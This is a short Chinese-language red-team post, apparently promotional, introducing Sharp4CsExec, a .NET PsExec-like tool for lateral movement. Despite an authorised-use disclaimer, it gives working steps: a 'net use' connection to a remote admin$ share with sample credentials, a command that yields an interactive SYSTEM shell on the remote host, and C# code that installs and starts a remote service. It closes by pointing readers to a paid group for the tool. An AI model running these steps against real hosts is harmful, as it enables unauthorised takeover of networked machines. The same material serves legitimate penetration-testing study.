01 阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02 基本介绍 Sharp4CsExec是一款基于.NET平台实现类似PsExec的工具,常被红队用于在内网环境中横向移动和远程命令执行。通过与远程主机建立共享连接,Sharp4CsExec能够创建一个具有SYSTEM权限的交互式cmdShell,从而实现对远程系统的控制和操作。 03 用法和思路 使用Sharp4CsExec的基本步骤如下,首先通过命令net use建立与远程主机的共享连接: net use \\192.168.101.86\admin$ /user:"ivan1ee" "123456"
在命令行中运行Sharp4CsExec程序,提供远程主机名和要执行的命令,具体命令如下。 Sharp4CsExec.exe \\192.168.101.86 cmd.exe运行下列命令后,Sharp4CsExec会返回一个具有nt authority\system权限的交互式cmdShell。如下图所示。 Sharp4CsExec其核心原理包括建立共享连接、上传服务程序、安装和启动服务、执行命令及清理痕迹。部分代码片段如下所示。 static void InstallService(string hostname, DotNetVersion version)
{
try
{
UninstallService(hostname);
}
catch (Exception) { }
using (var scmHandle = NativeMethods.OpenSCManager(hostname, null, NativeMethods.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE))
{
if (scmHandle.IsInvalid)
{
throw new Win32Exception();
}
using (
var serviceHandle = NativeMethods.CreateService(
scmHandle,
GlobalVars.ServiceName,
GlobalVars.ServiceDisplayName,
NativeMethods.SERVICE_ACCESS.SERVICE_ALL_ACCESS,
NativeMethods.SERVICE_TYPES.SERVICE_WIN32_OWN_PROCESS,
NativeMethods.SERVICE_START_TYPES.SERVICE_AUTO_START,
NativeMethods.SERVICE_ERROR_CONTROL.SERVICE_ERROR_NORMAL,
GlobalVars.ServiceEXE,
null,
IntPtr.Zero,
null,
null,
null))
{
NativeMethods.StartService(serviceHandle, 0, null);
}
}
}
上述代码在远程主机上安装并启动该服务,服务会创建一个具有SYSTEM权限的交互式cmdShell。工具已经打包在星球,感兴趣的朋友可以加入自取。
|